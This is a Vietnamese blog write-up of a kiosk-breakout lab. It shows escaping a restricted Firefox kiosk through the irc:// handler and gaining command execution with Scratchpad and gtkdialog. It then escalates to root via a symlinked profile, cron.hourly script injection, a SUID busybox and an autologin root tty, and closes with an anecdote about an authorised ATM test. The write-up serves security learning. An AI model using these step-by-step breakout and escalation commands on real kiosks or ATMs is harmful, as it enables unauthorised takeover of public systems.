Kiosk Breakouts - Lỗ hổng lạ tai và câu chuyện bypass cây ATM của một ngân hàng
Kiosk Breakouts có lẽ là một hổng khá đặc biệt vì mình đã khai thác nó trước khi biết tới sự hiện diện của nó. Đã có thời gian khá dài mình nghĩ bản thân "phát minh" ra phương pháp có tuổi đời vài chục năm này. 😆 .
Mình đã sử dụng Kiosk Breakouts cho việc chiếm quyền điều khiển cây ATM của một ngân hàng , cho việc bypass quầy bán vé tự động ở một sân bay hay bảng chỉ dẫn của một bảo tàng nghệ thuật (dĩ nhiên là mình được đơn vị chủ quản thuê để làm việc này ). Bản thân cũng muốn giới thiệu về nó từ lâu, nhưng mình không có môi trường thực tế do không biết cách xây dựng một Kiosk như thế nào . Hôm nay mình mượn được lab của một người bạn có Challenge mô tả chi tiết về lỗ hổng này, thấy hay quá nên mình quyết định chia sẻ về nó luôn.
1 . Định Nghĩa
Kiosk là hệ thống máy tính thường được sử dụng cho mục đích công cộng thực hiện các nhiệm vụ như truy xuất thông tin, duyệt internet, đăng ký hoặc tìm kiếm bản đồ. Chúng thường được lắp đặt trong hành lang của các tòa nhà, trong sân bay và cơ sở bán lẻ hoặc nhiều địa điểm khác.
Ví dụ các hệ thống Kiosk bạn có thể gặp ở Việt Nam như: Máy tìm kiếm thông tin ở Aeon Mall, cây ATM đời mới , Máy bán vé tự động ở Sân Bay ...
Kiosk bản chất là một máy tính bình thường được cài đặt các hệ điều hành phổ biến như Windows / Linux nhưng bị giới hạn các chức năng cho phép . Quá trình "break" chương trình ra ngoài, sử dụng Kiosk như một máy tính thông thường được gọi là Kiosk Breakouts.
Kiosk có thể sử dụng các máy vật lý như Wyse Client hoặc ảo hóa như Citrix4 Virtual Desktop. Phương pháp tấn công với 2 môi trường này là tương đối giống nhau.
Với mỗi Kiosk khác nhau sẽ chạy một chương trình khác nhau, với những cấu hình khác nhau , dẫn tới những phương pháp tấn công khác nhau. Phần lab dưới đây chỉ mô tả một trong các cách tấn công mà thôi.
2. Kết nối vào lab - Kiosk
Bản lab này mô phỏng một Kiosk phổ biến với giao diện như sau :
Mục tiêu cuối cùng là thông qua đây, thí sinh phải chiếm quyền điều khiển hệ thống với đặc quyền root
Bài lab khá khó , phần cuối mình phải đọc hướng dẫn mới làm được
3. Kiosk Enumeration
Khác với công việc tìm kiếm thông thường. Do khả năng tương tác hạn chế với các Kiosk, chúng ta thường không thể sử dụng các công cụ tự động để thực hiện quá trình này mà phải thực hiện bằng "tay" là chủ yếu. Tuy nhiên cũng có một số nguồn tài nguyên để tham khảo như Living Off The Land Binaries and Scripts cho Windows hay GTFO Bins cho Unix/Linux.
Ban đầu chúng ta chỉ có quyền truy cập vào Firefox, dẫn tới để chiếm quyền điều khiển hệ thống mục tiêu buộc phải thông qua endpoint duy nhất này.
Thử tương tác với hệ thống thông qua các thanh địa chỉ //etc/passwd , //etc/hostname tuy nhiên hệ thống đã chặn truy cập vào các tệp tin này.
Truy cập vào file://var/www/localhost thành công nhưng không kiếm chác được gì
Trong một số trường hợp, ta có thể tận dụng directory listings hoặc error messages để tìm kiếm thông tin quá trình xử lý dữ liệu trong máy chủ.
Chúng ta biết rằng, trình duyệt thông thường sẽ cho phép các phương thức kết nối tiêu chuẩn như HTTP, HTTPS . Đồng thời cũng có nhiều giao thức khác có thể được chấp nhận như file://, chrome:// , ftp:// , mailto:// smb:// nhưng do Kiosk bị chặn khỏi Internet nên việc lợi dụng các phương thức này là không khả thi.
Tuy nhiên chúng ta có thể lợi dụng một giao thức kết nối khác là irc:// (Internet Relay Chat) - sử dụng nó để tiến hành Breakouts
4. Chiếm quyền điều khiển
Hộp thoại phía trên hiện ra, cho phép chúng ta lợi dụng để tìm kiếm các file hệ thống . Tuy nhiên chúng ta không được lựa chọn "Remember my choice for..." điều này sẽ ngăn cản chúng ta chọn các chương trình khác trong tương lai.
Đường dẫn hiện tại là /home/guest cho chúng ta thấy tài khoản mà phần mềm Kiosk đang chạy là "guest"
Truy cập vào / cho chúng ta thấy thư mục mặc định của Kiosk
Cố gắng truy cập các tệp tin quan trọng /bin, /usr/bin, /usr/share, /sbin, /opt,
Ví dụ truy cập /bin/bash, sau đó nhấn vào nút "Open Link" để mở liên kết
Quá trình này dĩ nhiên sẽ không thu nhận được gì, đơn giản vì /bin/bash là chương trình hoạt động với môi trường dòng lệnh, còn hiện tại chúng ta đang sử dụng giao diện đồ họa. Thay vào đó, ta cố gắng sử dụng các chương trình terminal phổ biến như gnome-terminal , xterm hay konsole. Tuy nhiên các chương trình này đã bị xóa trong Kiosk theo mặc định.
May mắn trong hệ thống tồn tại 2 chương trình hữu ích
/bin/busybox
BusyBox là một bộ tiện ích nhỏ gọn cho hệ thống nhúng, ví dụ như các lệnh ta dùng trong shell như "cat, date, ping, ip, route, ..." đều được tích hợp trong nó, chính vì vậy BusyBox được dùng để xây dựng nên Root File System.
và
/ur/bin/dunstify
Một chương trình được sinh ra với mục đích tạo các thông báo cho người sử dụng
Lựa chọn /ur/bin/dunstify ta thấy hộp thoại xuất hiện, cho thấy nó đã được firefox load vào
Điều này quan trọng bởi 2 lý do
- Không có cơ chế chặn các external application, trường hợp này là dunstify
- Chúng ta nhận ra URI (irc://hoanguyen) trong trường hợp này là một "argument" cho dunstify. Tương tự việc chúng ta gõ
dunstify irc://hoanguyen
Điều này giải thích các khó khăn mà chúng ta gặp phải trước đó, vì "irc://hoanguyen" là một đối số không hợp lệ
Ví dụ khi ta chọn /bin/bash load với "irc//hoanguyen", chương trình sẽ hiểu kiểu như này :
/bin/bash irc://hoanguyen
Để thay đổi điều này, chúng ta có thể gọi tới env file , để lấy /usr/bin/env làm môi trường
Cú pháp tương tự như sau:
/usr/bin/env irc://hoanguyen=hoanguyen /bin/bash (Do evn phải sử dụng tham số a=cái gì đó)
Tuy nhiên điều này chỉ hiệu quả trên máy Linux, trên Kiosk thì lại không hoạt động !!!
[Chỗ này mình phải xem hướng dẫn mới làm được tiếp]
4.1. Thoát khỏi Firefox Profiles
Như chúng ta đã biết, Firefox đang chạy ở chế độ hạn chế do được cài đặt trong một cấu hình đặc biệt, Chúng ta có thể thoát ra khỏi hạn chế này bằng cách tạo ra một cấu hình mới
Theo hướng dẫn, sử dụng tham số -P để tạo profile
Ta tạo tham số irc://hoanguyen -P "hoanguyen" với link /usr/bin/firefox là ứng dụng chạy
Câu lệnh sẽ tương tự như sau:
/usr/bin/firefox irc://hoanguyen -P "hoanguyen
Trên KiosK ta gõ
Với một profile mới ta có một firefox xịn sò như bình thường
Ở bước này, nếu Kiosk được kết nối internet chúng ta có thể cài đặt nhiều addon để phục vụ cho quá trình khai thác, tuy nhiên Kiosk hiện tại không kết nối với internet, điều này dẫn đến chúng ta bắt buộc phải lợi dụng những gì có sẵn để tấn công.
4.2. Tìm kiếm các file quan trọng với Firefox "mới"
Kiểm tra /etc/passwd
Ở đây ta thấy hệ thống có 3 người dùng bao gồm : root , operator và guest
Kiểm tra /etc/proc/version
Kiosk được cài đặt Linux Kernel tương đối mới
Tìm kiếm các SSH key, lịch sử truy cập, file đã tải về , thông tin đăng nhập và mật khẩu, tuy nhiên không tìm thấy điều gì hữu ích
Tới đây thì mình phải xem hint nói về một thứ chưa nghe bao giờ...Scrathpad
4.3. Lợi dụng Scrathpad
Scrathpad là một text-editor cổ điển (không còn được sử dụng ) được tích hợp nhằm chạy và debug Javascript. Tuy nhiên nó cũng có thể được sử dụng để download và lưu các file plain-text trên máy chủ hệ thống.
Thử tạo "hello world" với Scratchpad
Tới thời điểm hiện tại, chúng ta vẫn bị loay hoay với phương thức irc:// , điều này gây khó khăn về khả năng tương tác với hệ điều hành. Sử dụng /usr/bin/gtkdialog để tiến hành nâng cấp lên TTY Shell (Shell xịn)
gtkdialog là một ứng dụng mã nguồn mở, cho phép xây dựng giao diện GTK và Dialog Boxes bằng cú pháp tương tự XML giúp đơn giản hóa quá trình tạo GUI cho Linux
Cú pháp gtkdialog với Bash Script
#!/bin/bash
GTKDIALOG=gtkdialog
export MAIN_DIALOG='
<window title="My First Program" icon-name="gtk-about" resizable="true" width-request="300" height-request="310">
<vbox>
<hbox space-fill="true" space-expand="true">
<button>
<label>Welcome to TecMint.com Home!</label>
<action>echo "Welcome to TecMint.com Home!"</action>
</button>
</hbox>
</vbox>
</window>
'
case $1 in
-d | --dump) echo "$MAIN_DIALOG" ;;
*) $GTKDIALOG --program=MAIN_DIALOG --center ;;
esac
Viết một chương trình đơn giản để thử nghiệm với Scratchpad
<window>
<vbox>
<frame Description>
<text>
<label>This is an example window.</label>
</text>
</frame>
<hbox>
<button ok>
<action>echo "testing gtk" > /tmp/hoanguyen.txt</action>
</button>
<button cancel></button>
</hbox>
</vbox>
</window>
Chương trình cho phép khi user thực hiện nhấn nút "Button" , command "echo "testing gtk" > /tmp/hoanguyen.txt" sẽ được thực thi
Chạy cấu hình trên với môi trường Kali Linux, sử dụng gtkdialog -f
/usr/bin/gtkdialog irc://hoanguyen -f hoanguyen
Ta thấy một hộp thoại hiện lên, khi ấn nút "Ok" , file hoanguyen.txt
sẽ được tạo ra trong /tmp (command execution)
Tương tự trên Kiosk
5. Post-Exploitation
Hiện tại chúng ta đã có thể tương tác được với hệ điều hành, tuy nhiên điều này là khá bất tiện. Chúng ta phải sửa chữa từng profile Gtklog cho từng command, điều này có vẻ không được thực tế (do tương tác hạn chế, chúng ta sẽ không có các command dạng revershell để có shell hịn)
Chúng ta sẽ phải làm "điều gì đó" cho phép nhập command và output ra kết quả
Điều gì đó như thế này :
<window>
<vbox>
<vbox scrollable="true" width="500" height="400">
<edit>
<variable>CMDOUTPUT</variable>
<input file>/tmp/termout.txt</input>
</edit>
</vbox>
<hbox>
<text><label>Command:</label></text>
<entry><variable>CMDTORUN</variable></entry>
<button>
<label>Run!</label>
<action>$CMDTORUN > /tmp/termout.txt</action>
<action>refresh:CMDOUTPUT</action>
</button>
</hbox>
</vbox>
</window>
6. Leo thang đặc quyền
Không có kết nối internet, việc sử dụng các script như LinEnum là không thể thực hiện , việc download các file exploit có sẵn để khai thác cũng không khả thi. Do đó việc leo thang đặc quyền trong Kiosk này chủ yếu lợi dụng các cấu hình có sẵn, từ đó chiếm lấy đặc quyền root
Tìm kiếm các file binary có sẵn trên hệ thống
find / -perm -u=s -exec ls -al {} +
/usr/sbin/mtr và /usr/bin/xlock xuất hiện các lỗi gần đây, tuy nhiên không ảnh hưởng tới phiên bản hiện tại - hơn nữa việc debug và exploit trong môi trường này là vô cùng khó khăn, vì vậy chúng ta phải tiếp cận theo hướng khác.
Liệt kê các chương trình đang chạy trên hệ thống ps aux
Ở đây ta nhận thấy một chương trình mang tên Openbox đang chạy với quyền root với cấu hình như sau:
1213 root 0:00 /usr/bin/openbox --startup /usr/libexec/openbox-autostart OPENBOX
Openbox là một Desktop Environment tương tự như Mate Desktop, GNOME Desktop , Unity có điều nó nhẹ và đơn giản hơn
Với gợi ý về Openbox , ta xem xét các tính năng sẵn có của ứng dụng này
Sử dụng openbox --replace
trên Kiosk , ta thấy các kết nối đồ họa bị mất (kể cả kết nối VNC) tuy nhiên các phiên làm việc hiện tại vẫn giữ nguyên, gợi ý về việc theo thang đặc quyền thông qua đây openbox chạy với quyền root nhưng lại có thể được reset thông qua guest
Tìm kiếm các file trên hệ thống có thể truy cập, ta tìm được Folder chứa profile của người dùng như sau:
ls -la /home/guest/.mozilla/firefox/c3pp43bg.default
Ở đây ta thực hiện xóa toàn bộ nội dung tại /home/guest/.mozilla/firefox/c3pp43bg.default
sau đó replace lại Openbox
rm -rf /home/guest/.mozilla/firefox/c3pp43bg.default/*
openbox --replace
Tạ nhận thấy được rằng, sau khi "reset openbox" file bookmarks.html lại được tạo ra. Tuy rằng người sở hữu là "guest" nhưng có thể Kiosk cho phép ghi vào với đặc quyền cao hơn.
Để kiểm tra vấn đề này, đơn giản chúng ta sẽ điều hướng cho chương trình ghi vào "root files" hay vì thư mục /home của Guest
Thực hiện backup file
mv /home/guest/.mozilla/firefox/c3pp43bg.default /home/guest/.mozilla/firefox/old_prof
Bắt buộc phải thực hiện bước này, khi hệ thống check không thấy bookmarks.html thì tự nó sẽ thực hiện Symlink
(Mình loay hoay đoạn này gần 7 tiếng)
ln -s /usr/bin /home/guest/.mozilla/firefox/c3pp43bg.default (Symlink từ c3pp43bg.default tới /usr/bin)
Điều này giống như khi write vào '/home/guest/.mozilla/firefox/c3pp43bg.default' file bookmark.html , chương trình sẽ cố gắng ghi vào /usr/bin
Nhiệm vụ lúc này của chúng ta là phải cho tệp có thể thực thi được đồng thời write được các lệnh thực thi vào file.
Mặc dù chúng ta có thể chỉnh sửa nội dung của tệp bookmarks.html, nhưng chúng ta không thể đổi tên nó. Đồng thời ScratchPad không cho phép chỉnh sữa trực tiếp.
Thông thường chúng ta có thể tìm kiếm tới các giải pháp command-line editor như nano hay vim, tuy nhiên gtkdialog không phải là shell để chúng ta có thể thực hiện được điều này. Đồng thời trên hệ thống cũng không cài đặt bất cứ graphical nào cả
Vì vậy chúng ta buộc phải "echo từng dòng" để ghi vào bookmarks.html (script.sh)
echo "#!/bin/bash" > /usr/bin/bookmarks.html // ghi đè vào bookmarks.html
echo "gtkdialog -f /home/guest/terminal" >> /usr/bin/bookmarks.html
Chạy script.sh
Thông thường, chúng ta có thể tận dụng một số kỹ thuật leo thang đặc quyền sau :
-
Ghi vào /etc/profile.d
-
Ghi vào /etc/cron.d
Cron.d là một phần của CronJob. Mọi tập lệnh được đặt ở đây đều được chạy với quyền root. Tuy nhiên vấn đề nằm ở chỗ , nó chỉ chạy các tệp thuộc sở hữu của root , nếu không chúng sẽ không chạy. Vì chúng ta không thể thay đổi quyền của tệp nên phương án này không khả thi
- Ghi vào /etc/cron.hourly , /etc/cron.daily , /etc/cron.weekly và /etc/cron.monthly
Các tệp này dễ tính hơn, nên đây là lựa chọn số 1 cho mục đích của chúng ta. /etc/cron.hourly được ưu tiên hơn cả vì liên quan tới thời gian thực hiện
Ở đây chúng ta cần phải phân biệt 2 khái niệm : contab và /etc/cron.d. Contab thì quản lý jobs theo tệp cho mỗi người dùng - tệp này không thể sửa bằng bất kỳ text-editor nào còn /etc/cron.d thì quản lý jobs thông qua các tệp được viết riêng biệt và không phải bất ký Distro nào cũng hỗ trợ
Ghi đè vào bookmarks.html trong /etc/cron.hourly
echo "#!/bin/bash" > /etc/cron.hourly/bookmarks.html
echo "gtkdialog -f /home/guest/terminal" >> /etc/cron.hourly/bookmarks.html
Thông thường, đến bước này chúng ta đã có đặc quyền root sau khi khởi động lại Openbox , tuy nhiên để chắc chắn hơn ta có thể lợi dụng Busybox để đề phòng việc khai thác không thành công (Mất công chờ ít nhất 1h sau mới thực hiện được tiếp)
cp /bin/busybox /home/guest
echo "chown root:root /home/guest/busybox" >> /etc/cron.hourly/bookmarks.html
echo "chmod +s /home/guest/busybox" >> /etc/cron.hourly/bookmarks.html
Chạy script2.sh
Đợi đúng 1 tiếng .....
Cố gắng gọi gtkdialog
thông qua busybox với câu lệnh /home/guest/busybox sh command_to_run
không thành công, phương pháp tối ưu nhất là lưu vào 1 file, rồi dùng 1 file khác gọi tới
Tạo run.sh
bash #!/bin/bash /usr/bin/gtkdialog -f /home/guest/terminal
sau đó thực thi nó bới busybox
/home/guest/busybox sh /home/guest/run.sh
Bây giờ chúng ta đã có root shell, tuy nhiên chúng ta có thể cải thiện hơn về khả năng tương tác Như đã đề cập từ trước, hiện tại chúng ta vẫn hạn chế bởi thực tế là chúng ta vẫn chưa có quyền truy cập vào Terminal.
Với hệ thống Linux cơ bản, sẽ cung cấp cho chúng ta các TTys hoặc Virtual console/terminals. Nghe khá xa lạ nhưng chúng ta lại thường xuyên sử dụng nó. Để sử dụng được chức năng này. ta có thể sử dụng các phím Ctrl
+ Alt
+ F3
đến F6
là được
Do tương tác qua VNC chúng ta không thể trực tiếp gõ tổ hợp phím trên mà chỉ có thể thử thông qua 'xotool`
xdotool key Ctrl+Alt+F3
Trong trường hợp này, không có gì xảy ra. Có thể chức năng này đã bị vô hiệu hóa
Kiểm tra file /etc/X11/xorg.conf.d/10-xorg.conf
DonVTSwitch function cho thấy chức năng VT đã bị tắt
Để sửa đổi điều này, ta tiến hành sao chép tệp tin gốc từ /etc/X11/xorg.conf.d/10-xorg.conf
về /home/guest/xorg.txt
Sau đó chúng ta set quyền để cho phép scratchpad có thể sửa đổi
cp /etc/X11/xorg.conf.d/10-xorg.conf /home/guest/xorg.txt
chmod 777 /home/guest/xorg.txt
Sau đó chúng ta có thể sử dụng Scratchpad để comment dòng DontVTSwitch
Tiếp theo, chúng ta tiến hành lưu tệp và sao chép nó trở lại vị trí ban đầu
cp /home/guest/xorg.txt /etc/X11/xorg.conf.d/10-xorg.conf
chmod 644 /etc/X11/xorg.conf.d/10-xorg.conf
openbox --replace
Khi VT được bật, chúng ta cần xác định TTY cho hệ thống trong /etc/inittab
cp /etc/inittab /home/guest/inittab.txt
chmod 777 /home/guest/inittab.txt
Mở với Scratchpad , ta nhận thấy dòng "Standard console login" bị comment , tiến hành thêm dòng sau
c3::respawn:/sbin/agetty --noclear --autologin root 38400 tty3 linux
sau đó lưu file và trả lại vị trí cũ - không quên chmod lại như cũ
cp /home/guest/inittab.txt /etc/inittab
chmod 600 /etc/inittab
/sbin/init q (tự động reload cài đặt)
#!/bin/bash
killall x11vnc
x11vnc -rawfb vt3
Chạy kill.sh ta sẽ có root-terminal
Đây thực sự là một lab khó với nhiều thử thách được đặt ra, qua bài này mình đã ít nhiều hiểu biết hơn về hệ thống Linux vẫn đang sử dụng hàng ngày !!!
7. Câu chuyện về bypass cây ATM của một ngân hàng
Chuyện xảy ra cách đây 3 - 4 năm, khi một đơn vị ngân hàng của Việt Nam quyết định triển khai thêm một số lượng lớn cây ATM đời mới với mục đích nâng cao trải nghiệm người dùng. Mình được thuê để tiến hành tìm kiếm mã độc, đồng thời đánh giá những lỗ hổng bảo mật tiềm tàng có thể gặp phải trong quá trình sử dụng .
Sau một buổi chiều tìm tòi nghiên cứu, mình phát hiện các ATM này chứa một chương trình hỗ trợ gõ phím khi người dùng nhập sai quá nhiều lần trên màn hình cảm ứng. Bằng một số phương pháp bypass khác nhau, mình kết nối được process chương trình này với Task Manager sau đó kill process đang chạy giả lập Kiosk đi, dẫn tới cây ATM này bị chiếm quyền điều khiển. Đơn vị này đã khắc phục ngay sau đó với việc vô hiệu hóa chương trình này đi.
Bài viết khá dài, cảm ơn mọi người đã đọc tới đây. Nhân dịp đầu xuân năm mới, chúc mọi người sức khỏe dồi dào và có những bước tiến lớn trong sự nghiệp.
All rights reserved